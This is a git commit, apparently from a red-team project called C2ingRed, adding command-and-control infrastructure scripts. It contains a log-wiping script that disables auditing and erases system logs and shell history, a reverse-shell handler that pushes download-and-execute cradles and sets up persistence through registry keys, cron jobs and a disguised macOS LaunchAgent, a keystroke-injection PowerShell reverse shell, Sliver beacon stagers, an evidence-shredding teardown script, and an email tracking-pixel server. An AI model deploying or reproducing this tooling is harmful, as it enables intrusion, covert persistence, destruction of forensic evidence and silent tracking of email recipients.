making progress

This commit is contained in:
n0mad1k
2025-04-14 06:25:26 -04:00
parent d936575312
commit b2fdee77b6
24 changed files with 1342 additions and 121 deletions
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#!/bin/bash
# Zero-logs maintenance script
# Set aggressive umask to minimize permission footprint
umask 077
# Configuration
LOG_DIRS=(
"/var/log"
"/var/spool/mail"
"/var/spool/postfix"
"/var/lib/dhcp"
"/root/.bash_history"
"/home/*/.bash_history"
"/var/lib/nginx"
)
SYSTEM_LOGS=(
"auth.log"
"syslog"
"messages"
"kern.log"
"daemon.log"
"user.log"
"btmp"
"wtmp"
"lastlog"
)
# Disable syslog temporarily
systemctl stop rsyslog 2>/dev/null
systemctl stop syslog-ng 2>/dev/null
systemctl stop systemd-journald 2>/dev/null
# Clear all standard logs
echo "[+] Clearing standard system logs..."
for log in "${SYSTEM_LOGS[@]}"; do
find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null
find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null
done
# Clear all journal logs
echo "[+] Clearing systemd journal..."
journalctl --vacuum-time=1s 2>/dev/null
rm -rf /var/log/journal/* 2>/dev/null
# Clear audit logs
echo "[+] Clearing audit logs..."
auditctl -e 0 2>/dev/null
cat /dev/null > /var/log/audit/audit.log 2>/dev/null
# Clear bash history for all users
echo "[+] Clearing bash history..."
for histfile in /root/.bash_history /home/*/.bash_history; do
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
done
history -c
cat /dev/null > ~/.bash_history 2>/dev/null
unset HISTFILE
# Clear NGINX logs
echo "[+] Clearing NGINX logs..."
for nginx_log in /var/log/nginx/*; do
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
done
# Clear SSH logs
echo "[+] Clearing SSH logs..."
cat /dev/null > /var/log/auth.log 2>/dev/null
cat /dev/null > /var/log/secure 2>/dev/null
# Clear mail logs
echo "[+] Clearing mail logs..."
cat /dev/null > /var/log/mail.log 2>/dev/null
cat /dev/null > /var/log/maillog 2>/dev/null
# Clear sliver logs
echo "[+] Clearing Sliver C2 logs..."
find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
# Clear temporary directories
echo "[+] Clearing temporary files..."
rm -rf /tmp/* /var/tmp/* 2>/dev/null
# Clear RAM and swap
echo "[+] Clearing RAM cache and swap..."
sync
echo 3 > /proc/sys/vm/drop_caches
swapoff -a && swapon -a 2>/dev/null
# Restart logging services
systemctl start systemd-journald 2>/dev/null
systemctl start rsyslog 2>/dev/null
systemctl start syslog-ng 2>/dev/null
echo "[+] Log cleaning complete"
exit 0
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#!/bin/bash
# Automated shell handler for catching and upgrading reverse shells
# Configuration
LISTEN_PORT=4444
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
C2_PORT=50051 # Sliver default gRPC port
WINDOWS_BEACON="/opt/beacons/windows.exe"
LINUX_BEACON="/opt/beacons/linux"
MACOS_BEACON="/opt/beacons/macos"
# Set secure permissions
umask 077
# Logging function (minimal and encrypted)
log() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local message="$1"
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
}
# Detect OS function
detect_os() {
local connection=$1
# Send commands to determine OS
echo "echo \$OSTYPE" > $connection
sleep 1
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
if [[ $ostype == *"win"* ]]; then
echo "windows"
elif [[ $ostype == *"darwin"* ]]; then
echo "macos"
elif [[ $ostype == *"linux"* ]]; then
echo "linux"
else
# Try Windows-specific command
echo "ver" > $connection
sleep 1
winver=$(cat $connection | grep -i "microsoft windows")
if [[ -n "$winver" ]]; then
echo "windows"
else
# Default to Linux if we can't determine
echo "linux"
fi
fi
}
# Deploy appropriate beacon based on OS
deploy_beacon() {
local connection=$1
local os_type=$2
log "Deploying beacon for detected OS: $os_type"
case $os_type in
windows)
# Upload Windows beacon using PowerShell download cradle
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection
;;
linux)
# Upload Linux beacon using curl
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
;;
macos)
# Upload macOS beacon using curl
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
;;
esac
log "Beacon deployment command sent"
}
# Establish persistence based on OS
establish_persistence() {
local connection=$1
local os_type=$2
log "Attempting to establish persistence on $os_type"
case $os_type in
windows)
# Windows persistence via registry run key
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
;;
linux)
# Linux persistence via crontab
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection
;;
macos)
# macOS persistence via launch agent
echo "mkdir -p ~/Library/LaunchAgents" > $connection
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/check.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
;;
esac
log "Persistence commands sent for $os_type"
}
# Main shell handler loop
handle_connections() {
log "Shell handler started on port $LISTEN_PORT"
# Use mkfifo for bidirectional communication
PIPE_PATH="/tmp/shell_handler_pipe"
trap 'rm -f $PIPE_PATH' EXIT
while true; do
# Clean up existing pipe
rm -f $PIPE_PATH
mkfifo $PIPE_PATH
log "Waiting for incoming connection..."
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
NC_PID=$!
# Wait for connection to be established
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
sleep 1
# Check if nc is still running
if ! kill -0 $NC_PID 2>/dev/null; then
log "Netcat process died, restarting..."
rm -f $PIPE_PATH $PIPE_PATH.output
continue 2 # Restart the outer loop
fi
done
log "Connection received, detecting OS..."
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
log "Detected OS: $DETECTED_OS"
# Deploy beacon
deploy_beacon "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Establish persistence
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Keep connection alive for manual operation if needed
log "Beacon deployed, maintaining shell connection..."
echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH
# Wait for connection to close
wait $NC_PID
log "Connection closed, cleaning up and restarting listener..."
rm -f $PIPE_PATH.output
done
}
# Start the shell handler
handle_connections
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REM Title: C2ingRed Reverse Shell
REM Author: C2ingRed
REM Description: Establishes a reverse shell to the C2 redirector
REM Target: Windows 10/11
REM Version: 1.0
REM Configuration: Modify these values to match your redirector setup
REM REDIRECTOR_HOST: Your redirector domain or IP
REM REDIRECTOR_PORT: Port where shell handler is listening
REM SHELL_TYPE: powershell or cmd
REM ============= Start of configuration =============
REM REDIRECTOR_HOST=cdn.example.com
REM REDIRECTOR_PORT=4444
REM SHELL_TYPE=powershell
REM ============= End of configuration ===============
REM Minimize the chance of detection by hiding the window
DELAY 1000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 2000
REM Main reverse shell payload
STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
ENTER
REM Attempt to create socket connection with retry logic
STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
ENTER
REM Setup streams
STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
ENTER
REM Execute either PowerShell or CMD shell based on configuration
STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
ENTER
REM Setup IO redirection
STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
ENTER
REM Main communication loop
STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
ENTER
REM Execute and complete
STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
ENTER
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#!/bin/bash
# Secure cleanup script for terminating the C2 infrastructure
# Configuration
SECURE_DELETE_PASSES=7
MEMORY_WIPE=true
SELF_DESTRUCT=false # Set to true for complete instance termination (if API available)
# Set secure umask
umask 077
# Function to securely delete files
secure_delete() {
local target=$1
echo "[+] Securely deleting: $target"
if command -v srm > /dev/null; then
srm -vzf $target 2>/dev/null
elif command -v shred > /dev/null; then
shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
else
# Fallback to dd if specialized tools aren't available
dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
rm -f $target 2>/dev/null
fi
}
echo "[+] Beginning secure exit procedure..."
# Stop all operational services
echo "[+] Stopping operational services..."
services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot")
for service in "${services[@]}"; do
systemctl stop $service 2>/dev/null
service $service stop 2>/dev/null
done
# Kill any remaining operational processes
echo "[+] Terminating operational processes..."
process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor")
for proc in "${process_names[@]}"; do
pkill -9 $proc 2>/dev/null
done
# Clear all logs
echo "[+] Clearing logs..."
bash /opt/c2/clean-logs.sh
# Securely delete operational files
echo "[+] Removing operational files..."
operational_dirs=(
"/opt/c2"
"/opt/beacons"
"/opt/payloads"
"/root/.sliver"
"/root/.msf4"
"/root/.gophish"
"/root/Tools"
"/home/*/Tools"
"/var/www/html"
)
for dir in "${operational_dirs[@]}"; do
find $dir -type f 2>/dev/null | while read file; do
secure_delete "$file"
done
rm -rf $dir 2>/dev/null
done
# Remove SSH keys
echo "[+] Removing SSH keys and configs..."
find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
secure_delete "$file"
done
# Clean memory if requested
if $MEMORY_WIPE; then
echo "[+] Wiping system memory..."
sync
echo 3 > /proc/sys/vm/drop_caches
swapoff -a
swapon -a
fi
# Self-destruct if configured (for cloud providers with API access)
if $SELF_DESTRUCT; then
echo "[+] Initiating self-destruct sequence..."
# This would typically call the cloud provider's API to terminate the instance
# For FlokiNET, this would need to be handled manually
fi
echo "[+] Secure exit completed. Infrastructure has been sanitized."
# Remove this script itself
exec shred -n $SECURE_DELETE_PASSES -uz $0
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#!/bin/bash
# Beacon server script to host generated implants
# Configuration
BEACONS_DIR="/opt/beacons"
WEBSERVER_PORT=8443
CERTIFICATE="/etc/ssl/private/beacon-server.pem"
KEY="/etc/ssl/private/beacon-server.key"
# Set secure umask
umask 077
# Ensure beacons directory exists
mkdir -p $BEACONS_DIR
# Function to generate beacons using Sliver
generate_beacons() {
echo "[+] Generating beacons for all platforms..."
# Make sure Sliver server is running
if ! pgrep -x "sliver-server" > /dev/null; then
echo "[!] Sliver server is not running, starting it..."
systemctl start sliver
sleep 5
fi
# Generate Windows beacon
sliver-cli generate --http $C2_HOST:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
# Generate Linux beacon
sliver-cli generate --http $C2_HOST:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
# Generate macOS beacon
sliver-cli generate --http $C2_HOST:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
# Generate stagers
echo "#!/bin/bash
curl -s $C2_HOST:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
chmod +x $BEACONS_DIR/beacon.sh
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
\$url = 'http://$C2_HOST:8443/windows.exe';
\$outpath = \"\$env:TEMP\\update.exe\";
Invoke-WebRequest -Uri \$url -OutFile \$outpath;
Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
echo "[+] All beacons generated successfully"
}
# Generate beacons
generate_beacons
# Serve beacons using Python's HTTP server (with SSL if certificate exists)
if [ -f "$CERTIFICATE" ] && [ -f "$KEY" ]; then
echo "[+] Starting HTTPS server on port $WEBSERVER_PORT..."
cd $BEACONS_DIR
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
SERVER_PID=$!
else
echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
cd $BEACONS_DIR
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
SERVER_PID=$!
fi
echo "[+] Beacon server started with PID $SERVER_PID"
echo "[+] Beacons available at http(s)://$C2_HOST:$WEBSERVER_PORT/"
echo "[+] Press Ctrl+C to stop the server"
# Keep script running and respond to Ctrl+C
trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
while true; do sleep 1; done
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#!/usr/bin/env python3
"""
Simple Email Tracking Server
A minimal Flask application that serves transparent tracking pixels
and logs email opens with metadata.
"""
import os
import json
import time
import logging
from datetime import datetime
from flask import Flask, request, send_file, render_template_string
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('/opt/tracker/data/tracker.log'),
logging.StreamHandler()
]
)
# Create Flask app
app = Flask(__name__)
# Directory to store tracking data
DATA_DIR = '/opt/tracker/data'
os.makedirs(DATA_DIR, exist_ok=True)
# Path to 1x1 transparent pixel
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
# Create 1x1 transparent PNG if it doesn't exist
if not os.path.exists(PIXEL_PATH):
from PIL import Image
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
img.save(PIXEL_PATH)
# Path to tracking data
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
def load_tracking_data():
"""Load existing tracking data from JSON file"""
if os.path.exists(TRACKING_DATA_PATH):
try:
with open(TRACKING_DATA_PATH, 'r') as f:
return json.load(f)
except json.JSONDecodeError:
logging.error("Error loading tracking data, starting fresh")
return {}
def save_tracking_data(data):
"""Save tracking data to JSON file"""
with open(TRACKING_DATA_PATH, 'w') as f:
json.dump(data, f, indent=2)
@app.route('/pixel/<tracking_id>.png')
def tracking_pixel(tracking_id):
"""Serve a tracking pixel and log the request"""
# Get client information
user_agent = request.headers.get('User-Agent', 'Unknown')
ip_address = request.remote_addr
timestamp = datetime.now().isoformat()
referer = request.headers.get('Referer', 'Unknown')
# Log the tracking event
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
# Add tracking event to data
tracking_data = load_tracking_data()
if tracking_id not in tracking_data:
tracking_data[tracking_id] = []
tracking_data[tracking_id].append({
'timestamp': timestamp,
'ip_address': ip_address,
'user_agent': user_agent,
'referer': referer
})
save_tracking_data(tracking_data)
# Return the 1x1 transparent pixel
return send_file(PIXEL_PATH, mimetype='image/png')
@app.route('/')
def dashboard():
"""Display tracking statistics dashboard"""
tracking_data = load_tracking_data()
# Prepare data for the dashboard
stats = []
for tracking_id, events in tracking_data.items():
stats.append({
'id': tracking_id,
'views': len(events),
'last_view': events[-1]['timestamp'] if events else 'Never',
'unique_ips': len(set(e['ip_address'] for e in events))
})
# Sort by most views
stats.sort(key=lambda x: x['views'], reverse=True)
# Simple HTML dashboard template
template = """
<!DOCTYPE html>
<html>
<head>
<title>Email Tracking Dashboard</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
</style>
</head>
<body>
<div class="container">
<h1>Email Tracking Dashboard</h1>
<p>To track email opens, add this HTML to your emails:</p>
<pre>&lt;img src="https://YOUR_DOMAIN/px/YOUR_TRACKING_ID.png" height="1" width="1" /&gt;</pre>
<h2>Tracking Statistics</h2>
<table>
<tr>
<th>Tracking ID</th>
<th>Views</th>
<th>Unique IPs</th>
<th>Last View</th>
<th>Details</th>
</tr>
{% for stat in stats %}
<tr>
<td>{{ stat.id }}</td>
<td>{{ stat.views }}</td>
<td>{{ stat.unique_ips }}</td>
<td>{{ stat.last_view }}</td>
<td><a href="/details/{{ stat.id }}">View Details</a></td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(template, stats=stats)
@app.route('/details/<tracking_id>')
def tracking_details(tracking_id):
"""Display detailed tracking information for a specific ID"""
tracking_data = load_tracking_data()
if tracking_id not in tracking_data:
return f"No data found for tracking ID: {tracking_id}", 404
events = tracking_data[tracking_id]
# Simple HTML template for details
template = """
<!DOCTYPE html>
<html>
<head>
<title>Tracking Details: {{ tracking_id }}</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1, h2 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
.back { margin-bottom: 20px; }
</style>
</head>
<body>
<div class="container">
<div class="back"><a href="/">&laquo; Back to Dashboard</a></div>
<h1>Tracking Details: {{ tracking_id }}</h1>
<p>Total views: {{ events|length }}</p>
<h2>Events</h2>
<table>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>User Agent</th>
<th>Referer</th>
</tr>
{% for event in events %}
<tr>
<td>{{ event.timestamp }}</td>
<td>{{ event.ip_address }}</td>
<td>{{ event.user_agent }}</td>
<td>{{ event.referer }}</td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(template, tracking_id=tracking_id, events=events)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
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server {
listen 80;
listen [::]:80;
server_name {{ tracker_domain }};
# Redirect to HTTPS if SSL is enabled
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ tracker_domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
# Restrict dashboard to localhost only
location / {
allow 127.0.0.1;
deny all;
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
# Allow public access only to pixel endpoints
location ~ ^/pixel/(.+)\.png$ {
# Public access allowed
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# Cache control - don't cache tracking pixels
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
expires off;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
}
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#!/bin/bash
# CLI tool to view email tracking stats
DATA_FILE="/opt/tracker/data/tracking_data.json"
function show_summary() {
if [ ! -f "$DATA_FILE" ]; then
echo "No tracking data found."
exit 1
fi
echo "Email Tracking Summary:"
echo "======================="
jq -r 'to_entries | sort_by(.value | length) | reverse | .[] | "\(.key): \(.value | length) views"' $DATA_FILE
}
function show_details() {
ID=$1
if [ ! -f "$DATA_FILE" ]; then
echo "No tracking data found."
exit 1
fi
echo "Details for tracking ID: $ID"
echo "=========================="
jq -r --arg id "$ID" '.[$id] | if . then .[] | "\(.timestamp) | \(.ip_address) | \(.user_agent)" else "No data found for this ID" end' $DATA_FILE
}
case "$1" in
"list")
show_summary
;;
"details")
if [ -z "$2" ]; then
echo "Usage: $0 details TRACKING_ID"
exit 1
fi
show_details "$2"
;;
*)
echo "Usage: $0 [list|details TRACKING_ID]"
echo " list - Show summary of all tracking IDs"
echo " details ID - Show details for specific tracking ID"
;;
esac
+19
View File
@@ -0,0 +1,19 @@
[Unit]
Description=Email Tracking Server
After=network.target
[Service]
User=tracker
Group=tracker
WorkingDirectory=/opt/tracker
ExecStart=/opt/tracker/venv/bin/python /opt/tracker/simple_email_tracker.py
Restart=always
RestartSec=10
# Security settings
PrivateTmp=true
ProtectSystem=full
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target